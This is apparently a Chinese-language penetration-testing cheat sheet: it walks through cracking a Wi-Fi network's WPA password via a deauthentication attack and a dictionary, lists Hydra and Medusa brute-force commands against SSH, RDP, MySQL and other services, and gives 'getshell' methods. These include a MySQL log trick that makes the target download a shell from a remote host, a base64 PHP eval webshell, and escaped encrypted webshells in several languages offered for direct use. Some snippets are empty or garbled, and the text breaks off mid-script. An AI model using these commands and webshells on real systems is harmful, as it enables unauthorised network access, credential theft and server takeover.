查看无线网卡名字:iwconfig 或者 ifconfig -a 都可以

![img](img/20181119155904820.png)

开启网卡监听模式:airmon-ng start wlan0 。网卡开启了监听模式之后网卡的名字就变为 wlan0mon 了,以后的所有命令中的网卡名都是叫 wlan0mon

![img](img/20181119155959216.png)

扫描附近的WIFI:airodump-ng wlan0mon ,会显示附近所有的WIFI信号。

- BSSID代表路由器的 MAC 地址
- PWR 代表信号的强度,数值越大代表信息越强
- CH 代表信道
- ENC代表用的加密的方式
- AUTH 代表认证的方式
- ESSID是WIFI的名字

我们需要选定一个准备破解的WIFI,我们选 tplink-5

![img](img/20181119160153813.png)

监听该路由器的流量:

```python
airodump-ng -w tplink -c 11 --bssid BC:46:99:3D:66:D6 wlan0mon # -w 参数指定生成的文件名 -c 指定信道 --bssid指定路由器的MAC地址
```

也可以监听整个信道的路由器流量:

```
airodump-ng -w tplink -c 11 wlan0mon # -w 参数指定生成的文件名 -c 指定信道
```

下面的 STATION 是连接该WIFI的客户端,下面这里只有一个客户端连接了该WIFI。如果有多个客户端连接的话,我们最好选择活跃点的客户端。

![img](img/20181119165219125.png)

重新打开一个命令行窗口(之前的监听不要关闭),开始攻击!之前的窗口继续保留,用于观察是否抓包成功

```python
aireplay-ng -0 50 -a BC:46:99:3D:66:D6 -c A0:AF:BD:D8:E6:31 wlan0mon # 50是发包的数量 -a指定路由器的MAC地址 -c指定连接的客户端的MAC地址
```

该命令会打断连接客户端和WIFI之间的连接,等到客户端重新连接WIFI的时候,就会抓取他们之间的握手认证包!

![img](img/20181119164552615.png)

如果在监听窗口看到下面红色圈住的这些,就说明握手包抓取成功了(没抓到可以多试几次,直到抓包成功为止)

![img](img/20181119164947823.png)

我们可以看到会生成四个文件,其中我们有用的文件是以 cap 后缀结尾的文件

![img](img/20181119165829983.png)

对抓取到的cap包进行破解,这需要我们准备好破解的密码字典。所以,无论是任何破解,都需要一个强大的密码字典!

kali下自带有一份无线密码字典——> /usr/share/wordlists/rockyou.txt.gz ,我们将其解压

![img](img/20190519130854576.png)

![img](img/2019051913123037.png)

```python
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b BC:46:99:3D:66:D6 tplink-01.cap #-w指定 密码字典 -b指定路由器的MAC地址
```

可以看到,破解成功!该WIFI的密码为 www.123.com

![img](img/2018111916443643.png)

从最后可以看出,要想破解出WIFI的密码,还是得需要一个很强大的字典!

### 爆破攻击

#### Hydra

```
参数:
-l 指定的用户名 -L 用户名字典
-p 指定密码 -P 密码字典
-s 指定端口
-o 输出文件
-t 任务数默认16
-f 爆破成功一个就停止
-v 报错日志详细 -V 攻击日志
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 mysql
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 ssh -s 22 -t 4
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 mssql -vv
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 rdp -V
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 smb -vV
>hydra -L /root/user.txt -P pass.txt ftp://10.1.1.10
```

#### Medusa

```
参数:
-h 目标名或IP -H 目标列表
-u 用户名 -U 用户名字典
-p 密码 -P 密码字典 -f 爆破成功停止 -M 指定服务 -t 线程
-n 指定端口 -e ns 尝试空密码和用户名密码相同
>medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql
>medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql
```

# getshell方法

## 利用JavaScript转写php

https://xz.aliyun.com/t/9181

为了避免拦截php代码的waf,我这里远程下载的脚本是利用JavaScript转写php

```sql
SET global general_log_file='C:/Users/Administrator/Desktop/UPUPW_AP5.5_64/htdocs/11.php';
SELECT ' $a="http://x.x.x.x:81/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); '
```

访问11.php 就会生成shell.php
这里的shell也是用了哥斯拉的免杀shell

## 命令执行写shell

```
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php

echo \<\?php eval\(\@\$_POST\[1\]\)\; \?\> >1.php

```

https://www.anquanke.com/post/id/245019

**Windows**

在windows主要的写入方法,我主要用以下两种:

```
set /p=要写的内容 C:\11.txt
echo 要写的内容 > C:\11.txt
```

在windows中,批处理需要转义字符主要有 “&”,“|”,“<”,“>”等等,转义字符为”^”

下面以echo为例,写入冰蝎各脚本语言shell,其中需要转义的东西,我已经帮各位表哥转过了,拿来直接用即可:

**(1)jsp**

```
echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > 111.jsp
```

**(2)jspx**

```
echo ^^^ class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}^^String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);^^ > 111.jspx
```

**(3)php**

```
echo ^ > 111.php
```

**(4)java9 jsp**

```
echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b"; session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > 111.jsp
```

**(5)aspx**

```
echo ^<%@ Page Language="C#" %^>^<%@Import Namespace="System.Reflection"%^>^<%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%^> > 111.aspx
```

**(6)asp**

```
echo ^<% >> 111.asp&echo Response.CharSet = "UTF-8" >> 111.asp&echo k="e45e329feb5d925b" >> 111.asp&echo Session("k")=k >> 111.asp&echo size=Request.TotalBytes >> 111.asp&echo content=Request.BinaryRead(size) >> 111.asp&echo For i=1 To size >> 111.asp&echo result=result^&Chr(ascb(midb(content,i,1)) Xor